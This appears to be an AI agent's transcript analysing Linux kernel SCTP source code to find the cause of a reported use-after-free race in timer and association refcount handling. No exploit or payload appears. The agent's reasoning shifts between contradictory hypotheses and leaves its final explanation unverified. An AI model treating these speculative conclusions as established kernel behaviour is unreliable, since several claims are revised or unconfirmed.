1759:				sctp_outq_uncork(&asoc->outqueue, gfp);
1760:				local_cork = 0;
1761:				asoc->peer.retran_path = t;
1762:				break;
1763:			case SCTP_CMD_SET_SK_ERR:
1764:				sctp_cmd_set_sk_err(asoc, cmd->obj.error);
1765:				break;
1766:			case SCTP_CMD_ASSOC_CHANGE:
1767:				sctp_cmd_assoc_change(commands, asoc,
1768:						      cmd->obj.u8);
1769:				break;
1770:			case SCTP_CMD_ADAPTATION_IND:
1771:				sctp_cmd_adaptation_ind(commands, asoc);
1772:				break;
1773:			case SCTP_CMD_PEER_NO_AUTH:
1774:				sctp_cmd_peer_no_auth(commands, asoc);
1775:				break;
1776:	
1777:			case SCTP_CMD_ASSOC_SHKEY:
1778:				error = sctp_auth_asoc_init_active_key(asoc,
1779:							GFP_ATOMIC);
1780:				break;
1781:			case SCTP_CMD_UPDATE_INITTAG:
1782:				asoc->peer.i.init_tag = cmd->obj.u32;
1783:				break;
1784:			case SCTP_CMD_SEND_MSG:
1785:				if (!asoc->outqueue.cork) {
1786:					sctp_outq_cork(&asoc->outqueue);
1787:					local_cork = 1;
1788:				}
1789:				sctp_cmd_send_msg(asoc, cmd->obj.msg, gfp);
1790:				break;
1791:			case SCTP_CMD_PURGE_ASCONF_QUEUE:
1792:				sctp_asconf_queue_teardown(asoc);
1793:				break;
1794:	
1795:			case SCTP_CMD_SET_ASOC:
1796:				if (asoc && local_cork) {
1797:					sctp_outq_uncork(&asoc->outqueue, gfp);
1798:					local_cork = 0;
1799:				}
1800:				asoc = cmd->obj.asoc;
1801:				break;
1802:	
1803:			default:
1804:				pr_warn("Impossible command: %u\n",
1805:					cmd->verb);
1806:				break;
1807:			}
1808:	
1809:			if (error) {
1810:				cmd = sctp_next_cmd(commands);
1811:				while (cmd) {
1812:					if (cmd->verb == SCTP_CMD_REPLY)
1813:						sctp_chunk_free(cmd->obj.chunk);
1814:					cmd = sctp_next_cmd(commands);
1815:				}
1816:				break;
1817:			}
1818:		}
1819:	
1820:		/* If this is in response to a received chunk, wait until
1821:		 * we are done with the packet to open the queue so that we don't
1822:		 * send multiple packets in response to a single request.
1823:		 */
1824:		if (asoc && SCTP_EVENT_T_CHUNK == event_type && chunk) {
1825:			if (chunk->end_of_packet || chunk->singleton)
1826:				sctp_outq_uncork(&asoc->outqueue, gfp);
1827:		} else if (local_cork)
1828:			sctp_outq_uncork(&asoc->outqueue, gfp);
1829:	
1830:		if (sp->data_ready_signalled)
1831:			sp->data_ready_signalled = 0;
1832:	
1833:		return error;
1834:	}
 SourceFile:net/sctp/sm_sideeffect.c]

gemini-3.1-pro-preview

							input: 189973
							output: 44
							thoughts: 4932
						

**My Thought Process Regarding SCTP Timer Race Conditions**

This is going to be a deep dive into a rather intricate race condition I've been dissecting within the SCTP implementation, specifically concerning timer management and its interaction with state transitions and asynchronous operations.

Initially, I was focused on the behavior of `SCTP_CMD_REPLY` within `sctp_primitive_ASCONF`. My immediate thought was, "If `SCTP_CMD_REPLY` fails, it does NOT return an error!" This led me to trace its call chain. It simply calls `sctp_outq_tail`, which, crucially, returns `void`. Thus, `sctp_primitive_ASCONF` itself doesn't fail due to `SCTP_CMD_REPLY`. But then I had to understand where the `error` return value from `sctp_primitive_ASCONF` actually originates – it comes from `sctp_do_sm`, which traces back through `sctp_side_effects` and `sctp_cmd_interpreter`. My analysis showed that `SCTP_CMD_TIMER_START` and `SCTP_CMD_SETUP_T4` don't explicitly set an error if they don't fail, leading me to conclude that `sctp_primitive_ASCONF` would likely return 0, setting `asoc->addip_last_asconf` and starting `T4_RTO`.

This brought me to a crucial scenario: what happens if `sctp_primitive_ASCONF` is called again while `T4_RTO` is pending and `asoc->addip_last_asconf` is already set? My reasoning here was that `sctp_send_asconf` would queue the chunk and return 0 without re-calling `sctp_primitive_ASCONF`, thereby not restarting the timer. Then I considered the edge case where `T4_RTO` might not be pending but `asoc->addip_last_asconf` is still set. This would only happen if `T4_RTO` expired and we hit `max_retrans`, leading to an association abortion, which seemed like a separate path.

I then focused on the timer restart mechanism. If `T4_RTO` expired and we retransmitted, `sctp_sf_t4_timer_expire` generates `SCTP_CMD_TIMER_RESTART`, which uses `mod_timer`, something I deemed safe. This led me to believe `T4_RTO` wouldn't be started if it was already pending.

The handling of `ASCONF_ACK` also seemed important. When `sctp_sf_do_asconf_ack` processes an ACK, it stops `T4_RTO` and then calls `sctp_send_next_asconf`, which in turn calls `sctp_sf_do_prm_asconf`. This generates `SCTP_CMD_TIMER_START`. My analysis here was that since `T4_RTO` was just stopped, `timer_pending` would return FALSE, and the timer would be safely started.

However, the real complexity emerged when I started thinking about concurrency and the interaction between different CPUs. I hypothesized a scenario where `SCTP_CMD_TIMER_STOP` in `timer_delete` returns 0 because the timer is running on another CPU. In this situation, CPU A (softirq) would process `ASCONF_ACK`, stop the timer (but not really, as it's running on CPU B), then try to start it again. CPU B (timer) would then acquire the lock, process the timer expiration, restart the timer, and put the association. My conclusion at this point was that this sequence actually balanced out correctly in terms of refcounts and timer states.

Next, I considered what happens if `sctp_sf_t4_timer_expire` is called, but `asoc->addip_last_asconf` is NULL. I reasoned that CPU A would have just set `asoc->addip_last_asconf` to the next ASCONF, so it wouldn't be NULL. If it *were* NULL, the function would return `SCTP_DISPOSITION_CONSUME`, not restart the timer, and everything would balance out.

The critical moment of realization came when I analyzed the case where `sctp_cmd_interpreter` processes `SCTP_CMD_TIMER_START` and `timer_pending` returns TRUE. This is the core of the potential race: the timer is already pending when we try to start it again. My initial thought was that this situation might not occur for `T4_RTO` because the code paths that call `SCTP_CMD_TIMER_START` for it (specifically `sctp_sf_do_prm_asconf` called from `sctp_primitive_ASCONF` and `sctp_send_next_asconf`) seemed to ensure the timer wasn't pending. I meticulously traced the states and calls for `T4_RTO`, `AUTOCLOSE`, `T1_INIT`, `T1_COOKIE`, and `T2_SHUTDOWN`.

The breakthrough was identifying that `sctp_sf_do_9_2_start_shutdown` in the `SHUTDOWN_SENT` state, when receiving a duplicate `COOKIE_ECHO`, *does* call `SCTP_CMD_TIMER_START` for `T2_SHUTDOWN` when `T2_SHUTDOWN` *is* already pending! This was the exact race condition I was looking for. I then traced this specific scenario, and the outcome was a use-after-free: CPU A starts the timer when it's already pending, CPU B's timer fires, restarts it, and puts the association, leading to a free.

However, the syzbot reproducer's crash was triggered by `BINDX_ADD` and `BINDX_REM`, not a duplicate `COOKIE_ECHO`. This sent me back to re-evaluate `T4_RTO`. I had to be absolutely certain that `timer_pending` could *never* be true for `T4_RTO` when `SCTP_CMD_TIMER_START` was called. My previous reasoning about `asoc->addip_last_asconf` being NULL implied `T4_RTO` wasn't pending seemed sound. I also considered concurrent calls to `sctp_primitive_ASCONF` but noted that `setsockopt` calls are serialized by `lock_sock`.

Then I hit upon a subtle possibility: what if `sctp_cmd_interpreter` processes `SCTP_CMD_TIMER_STOP` for `T4_RTO`, but `timer_delete` returns 0 (timer running on CPU B), and *then* it processes `SCTP_CMD_TIMER_START`? My analysis showed that even in this case, CPU A would hold the association, enqueue the timer, and CPU B would eventually find it, restart it, and put the association, leading to a balanced state.

The scenario of `sctp_sf_t4_timer_expire` aborting the association was also complex. I traced it carefully, and it seemed to correctly handle the refcounts and timer deletion, resulting in a balanced outcome even though the timer was stopped twice.

Finally, I returned to the specific reproducer scenario: `setsockopt(SCTP_SOCKOPT_BINDX_ADD)` followed by `SCTP_SOCKOPT_BINDX_REM`. This involves `sctp_send_asconf`. If `asoc->addip_last_asconf` is NULL, `sctp_primitive_ASCONF` is called, which *does* start `T4_RTO` using `SCTP_CMD_TIMER_START`. The crucial question remained: could `T4_RTO` be pending when `SCTP_CMD_TIMER_START` is called *again* by a subsequent `BINDX_ADD` or `BINDX_REM` that somehow bypasses the `asoc->addip_last_asconf` check and calls `sctp_primitive_ASCONF` again? My deepest dive into the call chains for `T4_RTO` suggests that the logic of `sctp_send_asconf` checking `asoc->addip_last_asconf` *should* prevent `sctp_primitive_ASCONF` from being called redundantly if `T4_RTO` is already active and waiting for a reply. This leaves me contemplating if there's a subtle state transition or timing window I'm still missing that could lead to `T4_RTO` being pending *and* `sctp_primitive_ASCONF` being called again, triggering the race with `timer_pending` returning TRUE.

map[ContextFile:net/sctp/protocol.c Name:sctp_addr_wq_timeout_handler]

map[SourceCode: 601:	static void sctp_addr_wq_timeout_handler(struct timer_list *t)
 602:	{
 603:		struct net *net = timer_container_of(net, t, sctp.addr_wq_timer);
 604:		struct sctp_sockaddr_entry *addrw, *temp;
 605:		struct sctp_sock *sp;
 606:	
 607:		spin_lock_bh(&net->sctp.addr_wq_lock);
 608:	
 609:		list_for_each_entry_safe(addrw, temp, &net->sctp.addr_waitq, list) {
 610:			pr_debug("%s: the first ent in wq:%p is addr:%pISc for cmd:%d at "
 611:				 "entry:%p\n", __func__, &net->sctp.addr_waitq, &addrw->a.sa,
 612:				 addrw->state, addrw);
 613:	
 614:	#if IS_ENABLED(CONFIG_IPV6)
 615:			/* Now we send an ASCONF for each association */
 616:			/* Note. we currently don't handle link local IPv6 addressees */
 617:			if (addrw->a.sa.sa_family == AF_INET6) {
 618:				struct in6_addr *in6;
 619:	
 620:				if (ipv6_addr_type(&addrw->a.v6.sin6_addr) &
 621:				    IPV6_ADDR_LINKLOCAL)
 622:					goto free_next;
 623:	
 624:				in6 = (struct in6_addr *)&addrw->a.v6.sin6_addr;
 625:				if (ipv6_chk_addr(net, in6, NULL, 0) == 0 &&
 626:				    addrw->state == SCTP_ADDR_NEW) {
 627:					unsigned long timeo_val;
 628:	
 629:					pr_debug("%s: this is on DAD, trying %d sec "
 630:						 "later\n", __func__,
 631:						 SCTP_ADDRESS_TICK_DELAY);
 632:	
 633:					timeo_val = jiffies;
 634:					timeo_val += msecs_to_jiffies(SCTP_ADDRESS_TICK_DELAY);
 635:					mod_timer(&net->sctp.addr_wq_timer, timeo_val);
 636:					break;
 637:				}
 638:			}
 639:	#endif
 640:			list_for_each_entry(sp, &net->sctp.auto_asconf_splist, auto_asconf_list) {
 641:				struct sock *sk;
 642:	
 643:				sk = sctp_opt2sk(sp);
 644:				/* ignore bound-specific endpoints */
 645:				if (!sctp_is_ep_boundall(sk))
 646:					continue;
 647:				bh_lock_sock(sk);
 648:				if (sctp_asconf_mgmt(sp, addrw) < 0)
 649:					pr_debug("%s: sctp_asconf_mgmt failed\n", __func__);
 650:				bh_unlock_sock(sk);
 651:			}
 652:	#if IS_ENABLED(CONFIG_IPV6)
 653:	free_next:
 654:	#endif
 655:			list_del(&addrw->list);
 656:			kfree(addrw);
 657:		}
 658:		spin_unlock_bh(&net->sctp.addr_wq_lock);
 659:	}
 SourceFile:net/sctp/protocol.c]

gemini-3.1-pro-preview

							input: 196009
							output: 41
							thoughts: 411
						

**My Thought Process Unraveling SCTP Association Configuration Locking**

My initial dive into the SCTP code led me to the `sctp_addr_wq_timeout_handler` function. I observed that it calls `sctp_asconf_mgmt`, which in turn orchestrates the sending of ASCONF messages, specifically either `sctp_send_asconf_add_ip` or `sctp_send_asconf_del_ip`. I noted that this handler is triggered by a timer, the `addr_wq_timer`.

Then, I spotted something that immediately raised a red flag: `sctp_addr_wq_timeout_handler` acquires the `bh_lock_sock(sk)` lock. My mind immediately went to potential concurrency issues. I recalled that `setsockopt` also interacts with the socket's locking mechanisms, specifically by acquiring the `lock_sock(sk)` lock. This is a crucial point: if `setsockopt` is active, it holds `lock_sock(sk)`.

So, I started to trace the execution flow again, thinking about the scenario where `setsockopt` might be running. `sctp_addr_wq_timeout_handler` starts, acquires `bh_lock_sock(sk)`. It proceeds to call `sctp_asconf_mgmt`. Inside `sctp_asconf_mgmt`, it might call `sctp_send_asconf_add_ip`. This function, in turn, calls `sctp_send_asconf`.

The `sctp_send_asconf` function has a check for `asoc->addip_last_asconf`. If this is `NULL`, it proceeds to call `sctp_primitive_ASCONF`. This operation, I noted, generates a `SCTP_CMD_TIMER_START` command. This means that the `sctp_cmd_interpreter` is invoked.

Here's the critical insight that struck me: `sctp_addr_wq_timeout_handler` is holding `bh_lock_sock(sk)` when it calls `sctp_asconf_mgmt`, and consequently, `sctp_cmd_interpreter` is executed *while still holding* `bh_lock_sock(sk)`.

This is where the real concern solidifies. I then remembered that when `setsockopt` is in progress, the `sock_owned_by_user(sk)` flag is set to TRUE. However, my analysis of `sctp_addr_wq_timeout_handler` revealed that it completely *ignores* this check; it doesn't verify if the socket is user-owned before proceeding to call `sctp_asconf_mgmt`. This lack of a check, especially when `bh_lock_sock` is held, seems like a potential path for race conditions with operations that rely on user ownership or different locking strategies, like `setsockopt`. It immediately prompted me to delve deeper into `sctp_asconf_mgmt` itself to understand its internal locking and interaction dynamics more thoroughly.

map[ContextFile:net/sctp/socket.c Name:sctp_asconf_mgmt]

map[SourceCode: 909:	/* set addr events to assocs in the endpoint.  ep and addr_wq must be locked */
 910:	int sctp_asconf_mgmt(struct sctp_sock *sp, struct sctp_sockaddr_entry *addrw)
 911:	{
 912:		struct sock *sk = sctp_opt2sk(sp);
 913:		union sctp_addr *addr;
 914:		struct sctp_af *af;
 915:	
 916:		/* It is safe to write port space in caller. */
 917:		addr = &addrw->a;
 918:		addr->v4.sin_port = htons(sp->ep->base.bind_addr.port);
 919:		af = sctp_get_af_specific(addr->sa.sa_family);
 920:		if (!af)
 921:			return -EINVAL;
 922:		if (sctp_verify_addr(sk, addr, af->sockaddr_len))
 923:			return -EINVAL;
 924:	
 925:		if (addrw->state == SCTP_ADDR_NEW)
 926:			return sctp_send_asconf_add_ip(sk, (struct sockaddr *)addr, 1);
 927:		else
 928:			return sctp_send_asconf_del_ip(sk, (struct sockaddr *)addr, 1);
 929:	}
 SourceFile:net/sctp/socket.c]

gemini-3.1-pro-preview

							input: 196871
							output: 34
							thoughts: 335
						

**My Realization: A Critical Concurrency Bug in SCTP**

Okay, I've been digging into the SCTP implementation, specifically around the association configuration management. I was tracing the execution path of `sctp_asconf_mgmt` and a critical question popped into my head: what happens if `sock_owned_by_user(sk)` is true when `sctp_asconf_mgmt` is called?

Following the chain, I saw that `sctp_send_asconf_add_ip` is invoked. This function then iterates through existing associations and, for each, calls `sctp_send_asconf`. Further down the line, `sctp_send_asconf` calls `sctp_primitive_ASCONF`, which in turn calls `sctp_do_sm`.

Now, here's where it hit me like a ton of bricks: `sctp_do_sm` is where the actual state machine execution and its side effects occur. This means the state machine is being executed *while the user still owns the socket*. This is an absolutely massive bug!

Normally, the kernel's approach to concurrent access from softirqs or timers is to check `sock_owned_by_user(sk)`. If it's true, the operation is typically deferred by queuing the packet to the socket's backlog. However, my investigation revealed that `sctp_addr_wq_timeout_handler` *doesn't* perform this crucial check.

This means that `sctp_addr_wq_timeout_handler` can directly execute `sctp_do_sm`, leading to a race condition where the state machine is running concurrently with user-space operations like `setsockopt`.

And the implications are even more severe. `setsockopt` holds `lock_sock`, while `sctp_addr_wq_timeout_handler` holds `bh_lock_sock`. These locks operate on different mechanisms and can be acquired concurrently on different CPUs. The critical point is that `lock_sock` is designed to disable BH (Bottom Half) processing.

So, the scenario I'm seeing is: `setsockopt` holding `lock_sock` (disabling BH) and `sctp_addr_wq_timeout_handler` (which, because it bypasses the `sock_owned_by_user` check, can execute the state machine) potentially running on separate CPUs, both trying to manipulate the socket's state. This is a recipe for disaster. I need to dive into the specifics of `lock_sock` to fully understand how it interacts with `bh_lock_sock` and the implications for concurrent BH and user-space access.

map[ContextFile:include/net/sock.h Name:lock_sock]

map[SourceCode:1711:	static inline void lock_sock(struct sock *sk)
1712:	{
1713:		lock_sock_nested(sk, 0);
1714:	}
 SourceFile:include/net/sock.h]

gemini-3.1-pro-preview

							input: 197303
							output: 45
							thoughts: 17551
						

**My Thoughts on This SCTP Race Condition**

Okay, I've been digging into this SCTP race condition, and it's a pretty nasty one, stemming from how timers and socket locking interact, particularly around address configuration operations. My initial thought was focused on `lock_sock_nested` and its interaction with softirqs, but it quickly evolved as I traced the execution paths.

Here's the breakdown of my thought process:

First, I was looking at `lock_sock_nested` calling `spin_lock_bh`. My immediate reaction was "Wait, `lock_sock` is supposed to disable BH interrupts on the current CPU!" This led me to consider the implications: if BH is disabled, a timer callback (which runs in softirq context) *cannot* run on the same CPU. However, it *could* run on a different CPU. If it runs on a different CPU, it would call `bh_lock_sock`, which is just a `spin_lock`.

Then, I realized `lock_sock` doesn't hold the main spinlock for its entire duration. It releases it after acquiring the `sk->sk_lock.owned` mutex. This was a critical insight. It means that a timer callback (`sctp_addr_wq_timeout_handler`, which runs in softirq) *could* acquire the spinlock (`bh_lock_sock`) on a different CPU while the `lock_sock` call in user context has released its spinlock. Crucially, `sctp_addr_wq_timeout_handler` doesn't check `sock_owned_by_user(sk)`, which is designed to prevent concurrent modification when the user-space thread has the lock. This meant that `sctp_addr_wq_timeout_handler` could proceed to modify socket state concurrently with a `setsockopt` call (like `SCTP_SOCKOPT_BINDX_ADD`), creating a race condition.

My investigation then confirmed that `sctp_addr_wq_timeout_handler` indeed calls `bh_lock_sock` and proceeds to call `sctp_asconf_mgmt` without checking `sock_owned_by_user`. This means `sctp_asconf_mgmt` could run concurrently with `setsockopt(SCTP_SOCKOPT_BINDX_ADD)`. Both operations might call `sctp_send_asconf_add_ip`, and if both find `asoc->addip_last_asconf` to be `NULL`, they could both execute `sctp_primitive_ASCONF` concurrently.

This concurrent execution of `sctp_primitive_ASCONF` is where the core issue lies. Both threads could attempt to start the `T4_RTO` timer. My analysis here got a bit tangled:

*   Initially, I considered scenarios where both threads would increment the association's refcount, leading to a leak if the timer fired only once.
*   Then, I focused on the possibility of `timer_pending` returning `TRUE` for one thread while the other was about to start it. This seemed like a potential use-after-free if the timer fired immediately after the check but before the timer was properly enqueued.
*   However, I realized that my reproduction attempts with `setsockopt` calls alone weren't reliably hitting the race. The syzkaller reproducer just repeatedly calls `setsockopt`, and `lock_sock` serializes calls on the same socket, preventing true concurrency there.

My breakthrough came when I reconsidered the interaction between `sctp_addr_wq_timeout_handler` and `setsockopt`. The key was that `sctp_addr_wq_timeout_handler` does *not* acquire `lock_sock`. This allows it to run concurrently with a `setsockopt` call that *does* hold `lock_sock`. If both `sctp_addr_wq_timeout_handler` (via `sctp_asconf_mgmt`) and `setsockopt(SCTP_SOCKOPT_BINDX_ADD)` are trying to send an ASCONF message concurrently, they both might check `asoc->addip_last_asconf` and find it `NULL`. This leads to both calling `sctp_primitive_ASCONF`, which in turn executes `SCTP_CMD_TIMER_START` for `T4_RTO` twice.

The critical part of the race happens here:

1.  **Thread A (e.g., from `setsockopt`)**: Executes `SCTP_CMD_TIMER_START`. It finds `timer_pending(timer)` is `FALSE`, so it *holds* the association refcount, and then calls `timer_reduce` to enqueue the timer.
2.  **Thread B (e.g., from `sctp_addr_wq_timeout_handler`)**: Executes `SCTP_CMD_TIMER_START`. It finds `timer_pending(timer)` is `TRUE` (because Thread A just enqueued it). Crucially, because `timer_pending` is `TRUE`, it *does not* hold the association refcount, but it proceeds to call `timer_reduce` again, modifying the timer.
3.  **The timer fires**: The association refcount was only incremented once (by Thread A), but it will be decremented twice (once when the timer fires, and potentially again by the timer's normal cleanup). This imbalance is the source of the memory leak.

However, the actual crash I observed was a use-after-free, not just a leak. This pointed to a more insidious timing issue. The use-after-free occurs when:

1.  A timer (`T4_RTO` in the `BINDX_ADD` scenario, or `T2_SHUTDOWN` in a more reproducible scenario I later identified) is pending. The association refcount is 1.
2.  `SCTP_CMD_TIMER_START` is called. It checks `timer_pending` and finds it `TRUE`. Because the timer is pending, it *skips* calling `sctp_association_hold`.
3.  *Immediately after* the `timer_pending` check returns `TRUE` (meaning the timer is *about* to fire or has just fired but not yet been dequeued by its handler), the timer actually fires and is dequeued.
4.  The code proceeds to call `timer_reduce`. Since the timer was just dequeued, `timer_reduce` starts it again, and returns `0` (indicating it wasn't pending).
5.  The timer callback then executes. It sees `sock_owned_by_user(sk)` as `TRUE` (because some user-space thread is holding the socket lock).
6.  It calls `sctp_association_hold`. This is where the use-after-free happens: the association was already freed because the refcount dropped to zero when the timer was initially put, and now we're trying to hold a reference to a freed object.

The key realization was that the race doesn't happen due to two threads *starting* the timer concurrently (which leads to a leak), but due to one thread calling `SCTP_CMD_TIMER_START` when the timer is *already pending*, and the timer firing *between* the `timer_pending` check and the subsequent call to `timer_reduce`.

The syzkaller reproducer likely triggered this by relying on the `sctp_addr_wq_timeout_handler` running concurrently with `setsockopt(SCTP_SOCKOPT_BINDX_ADD)`. This handler, running in softirq, doesn't hold `lock_sock`, allowing it to race with the `setsockopt` call and potentially hit the timer race window.

My ultimate conclusion is that the core issue is the handling of `SCTP_CMD_TIMER_START` when `timer_pending` returns `TRUE`. The fix involves ensuring `sctp_association_hold` is called if `timer_reduce` successfully starts the timer. This is achieved by checking the return value of `timer_reduce` rather than relying on `timer_pending` alone.

map[ContextFile:net/sctp/socket.c Name:sctp_send_asconf_add_ip]

map[SourceCode: 546:	/* Send an ASCONF chunk with Add IP address parameters to all the peers of the
 547:	 * associations that are part of the endpoint indicating that a list of local
 548:	 * addresses are added to the endpoint.
 549:	 *
 550:	 * If any of the addresses is already in the bind address list of the
 551:	 * association, we do not send the chunk for that association.  But it will not
 552:	 * affect other associations.
 553:	 *
 554:	 * Only sctp_setsockopt_bindx() is supposed to call this function.
 555:	 */
 556:	static int sctp_send_asconf_add_ip(struct sock		*sk,
 557:					   struct sockaddr	*addrs,
 558:					   int 			addrcnt)
 559:	{
 560:		struct sctp_sock		*sp;
 561:		struct sctp_endpoint		*ep;
 562:		struct sctp_association		*asoc;
 563:		struct sctp_bind_addr		*bp;
 564:		struct sctp_chunk		*chunk;
 565:		struct sctp_sockaddr_entry	*laddr;
 566:		union sctp_addr			*addr;
 567:		union sctp_addr			saveaddr;
 568:		void				*addr_buf;
 569:		struct sctp_af			*af;
 570:		struct list_head		*p;
 571:		int 				i;
 572:		int 				retval = 0;
 573:	
 574:		sp = sctp_sk(sk);
 575:		ep = sp->ep;
 576:	
 577:		if (!ep->asconf_enable)
 578:			return retval;
 579:	
 580:		pr_debug("%s: sk:%p, addrs:%p, addrcnt:%d\n",
 581:			 __func__, sk, addrs, addrcnt);
 582:	
 583:		list_for_each_entry(asoc, &ep->asocs, asocs) {
 584:			if (!asoc->peer.asconf_capable)
 585:				continue;
 586:	
 587:			if (asoc->peer.addip_disabled_mask & SCTP_PARAM_ADD_IP)
 588:				continue;
 589:	
 590:			if (!sctp_state(asoc, ESTABLISHED))
 591:				continue;
 592:	
 593:			/* Check if any address in the packed array of addresses is
 594:			 * in the bind address list of the association. If so,
 595:			 * do not send the asconf chunk to its peer, but continue with
 596:			 * other associations.
 597:			 */
 598:			addr_buf = addrs;
 599:			for (i = 0; i < addrcnt; i++) {
 600:				addr = addr_buf;
 601:				af = sctp_get_af_specific(addr->v4.sin_family);
 602:				if (!af) {
 603:					retval = -EINVAL;
 604:					goto out;
 605:				}
 606:	
 607:				if (sctp_assoc_lookup_laddr(asoc, addr))
 608:					break;
 609:	
 610:				addr_buf += af->sockaddr_len;
 611:			}
 612:			if (i < addrcnt)
 613:				continue;
 614:	
 615:			/* Use the first valid address in bind addr list of
 616:			 * association as Address Parameter of ASCONF CHUNK.
 617:			 */
 618:			bp = &asoc->base.bind_addr;
 619:			p = bp->address_list.next;
 620:			laddr = list_entry(p, struct sctp_sockaddr_entry, list);
 621:			chunk = sctp_make_asconf_update_ip(asoc, &laddr->a, addrs,
 622:							   addrcnt, SCTP_PARAM_ADD_IP);
 623:			if (!chunk) {
 624:				retval = -ENOMEM;
 625:				goto out;
 626:			}
 627:	
 628:			/* Add the new addresses to the bind address list with
 629:			 * use_as_src set to 0.
 630:			 */
 631:			addr_buf = addrs;
 632:			for (i = 0; i < addrcnt; i++) {
 633:				addr = addr_buf;
 634:				af = sctp_get_af_specific(addr->v4.sin_family);
 635:				memcpy(&saveaddr, addr, af->sockaddr_len);
 636:				retval = sctp_add_bind_addr(bp, &saveaddr,
 637:							    sizeof(saveaddr),
 638:							    SCTP_ADDR_NEW, GFP_ATOMIC);
 639:				addr_buf += af->sockaddr_len;
 640:			}
 641:			if (asoc->src_out_of_asoc_ok) {
 642:				struct sctp_transport *trans;
 643:	
 644:				list_for_each_entry(trans,
 645:				    &asoc->peer.transport_addr_list, transports) {
 646:					trans->cwnd = min(4*asoc->pathmtu, max_t(__u32,
 647:					    2*asoc->pathmtu, 4380));
 648:					trans->ssthresh = asoc->peer.i.a_rwnd;
 649:					trans->rto = asoc->rto_initial;
 650:					sctp_max_rto(asoc, trans);
 651:					trans->rtt = trans->srtt = trans->rttvar = 0;
 652:					/* Clear the source and route cache */
 653:					sctp_transport_route(trans, NULL,
 654:							     sctp_sk(asoc->base.sk));
 655:				}
 656:			}
 657:			retval = sctp_send_asconf(asoc, chunk);
 658:		}
 659:	
 660:	out:
 661:		return retval;
 662:	}
 SourceFile:net/sctp/socket.c]

gemini-3.1-pro-preview

							input: 216758
							output: 44
							thoughts: 2643
						

**The Elusive Use-After-Free: A Deep Dive into SCTP Timer Races**

I've been wrestling with a particularly thorny potential use-after-free (UAF) in the SCTP implementation, specifically concerning the interaction between asynchronous configuration (ASCONF) timers and socket operations. My initial thought was that building a single chunk with all addresses and calling `sctp_send_asconf` once per association, rather than multiple times, was a key optimization, and importantly, prevented redundant calls for the same association.

However, my focus quickly shifted to the critical race condition between the `sctp_addr_wq_timeout_handler` (which triggers ASCONF management and timer starts) and `setsockopt(SCTP_SOCKOPT_BINDX_ADD)` (which also initiates ASCONF actions and timer starts). Both paths can call `sctp_primitive_ASCONF`, which in turn attempts to start a timer (`SCTP_CMD_TIMER_START`). My earlier analysis pointed towards a memory leak here, but I realized I might have missed a more severe UAF.

The core of the problem lies in the timing of timer operations. If both the timeout handler and `setsockopt` concurrently call `sctp_primitive_ASCONF`, they can both attempt to start the same timer. My thinking went:

1.  **CPU 1 (timeout handler)** starts the timer: `timer_pending` returns `FALSE`, it holds the association reference, and enqueues the timer.
2.  **CPU 2 (`setsockopt`)** starts the timer: `timer_pending` now returns `TRUE` (because CPU 1 already enqueued it), so it *doesn't* hold the association, but proceeds to call `timer_reduce`.
3.  **CPU 1** calls `timer_reduce` to schedule the timer.
4.  **CPU 2** also calls `timer_reduce` to schedule the timer.

If, at this point, the association's `addip_last_asconf` pointer gets updated by both CPUs, and then the timer fires, the reference count *should* be balanced because CPU 1 held the association. This initially led me to believe there wasn't a UAF.

But then I considered a critical window: what if CPU 2 sees `timer_pending` as `TRUE`, but *before* it calls `timer_reduce`, the timer fires? If the timer fires, it will put the association reference. Then, CPU 2 calls `timer_reduce`, enqueuing the timer again. Crucially, CPU 2 *never held the association*. When this timer fires *again*, it will attempt to put the association, leading to a UAF because the association's reference count will be decremented when it's already been zeroed out.

I identified a specific scenario for this race:

1.  CPU 1 (`setsockopt`) and CPU 2 (`setsockopt`) execute `sctp_primitive_ASCONF` concurrently.
2.  CPU 1 successfully executes `SCTP_CMD_TIMER_START`, acquires an association hold, and enqueues the timer.
3.  CPU 2's call to `SCTP_CMD_TIMER_START` finds `timer_pending` to be `TRUE`.
4.  The timer fires *immediately* (CPU 3).
5.  CPU 2 proceeds and calls `timer_reduce`, enqueuing the timer.
6.  CPU 3's timer callback executes and puts the association.
7.  The timer fires *again* (due to CPU 2's `timer_reduce`), leading to a UAF.

The immediate problem was: can a timer fire *immediately*? My initial assessment was that `T4_RTO` (the timeout for ASCONF retransmissions) is at least 1 second, making this scenario highly improbable.

However, my investigation into how `T4_RTO` is determined led me to `t->rto`. I realized `rto` could potentially be zero if `srto_min` is set to 0 via `SCTP_RTOINFO`. If `rto` is indeed 0, the timer *can* fire immediately, making the race condition possible. I'm still sifting through the syzbot reproducer to confirm if `SCTP_RTOINFO` is being used to set `srto_min` to 0.

I then explored other timer possibilities. Could `T2_SHUTDOWN` (which uses `asoc->rto_initial`) also be a source if `rto_initial` is 0? Yes, via `SCTP_RTOINFO`. However, this doesn't help if the timer is scheduled with a non-zero timeout, as `jiffies + timeout` would always be in the future.

My attention then turned to the sequence of `timer_pending` returning `TRUE` but the timer not being pending when `timer_reduce` is called. Could `timer_delete` (from `SCTP_CMD_TIMER_STOP`) be involved?

*   CPU 1 (`setsockopt`) executes `SCTP_CMD_TIMER_START`.
*   CPU 1 checks `timer_pending` and sees `TRUE`.
*   CPU 3 (`sctp_sf_do_asconf_ack` in softirq) executes `SCTP_CMD_TIMER_STOP`.
*   CPU 3 calls `timer_delete`. If it returns 1, it puts the association (refcount becomes 0).
*   CPU 1 then calls `timer_reduce`, enqueuing the timer again.
*   The timer fires, putting the association again, causing a UAF because CPU 1 didn't hold the association.

This looked like the smoking gun! It didn't rely on an immediate timer fire. The crucial point was that `SCTP_CMD_TIMER_STOP` could be executed *between* `timer_pending` and `timer_reduce`. However, I then remembered that `sctp_cmd_interpreter`, which handles these commands, is always called with *either* `lock_sock` or `bh_lock_sock` held. This serialization means `SCTP_CMD_TIMER_START` and `SCTP_CMD_TIMER_STOP` cannot run concurrently. The softirq processing (`sctp_sf_do_asconf_ack`) is blocked by `sock_owned_by_user(sk)` if `setsockopt` is active, and the softirqs themselves are serialized by `bh_lock_sock` if they are on the same CPU.

So, if direct concurrency between `START` and `STOP` is impossible due to locking, how can `timer_pending` return `TRUE` but the timer not be pending when `timer_reduce` is called?

The only remaining possibility is that the timer *itself* is dequeued by the timer wheel *concurrently* with the `SCTP_CMD_TIMER_START` code path. The timer wheel dequeues the timer *before* taking any socket locks to call its callback. If this dequeue happens *between* the `timer_pending` check and the `timer_reduce` call in the `SCTP_CMD_TIMER_START` path, the timer will have been removed from the wheel. Then, when `timer_reduce` is called, it will enqueue a *new* timer, and the original timer's callback will fire, putting the association. The newly enqueued timer will later fire again, leading to the UAF.

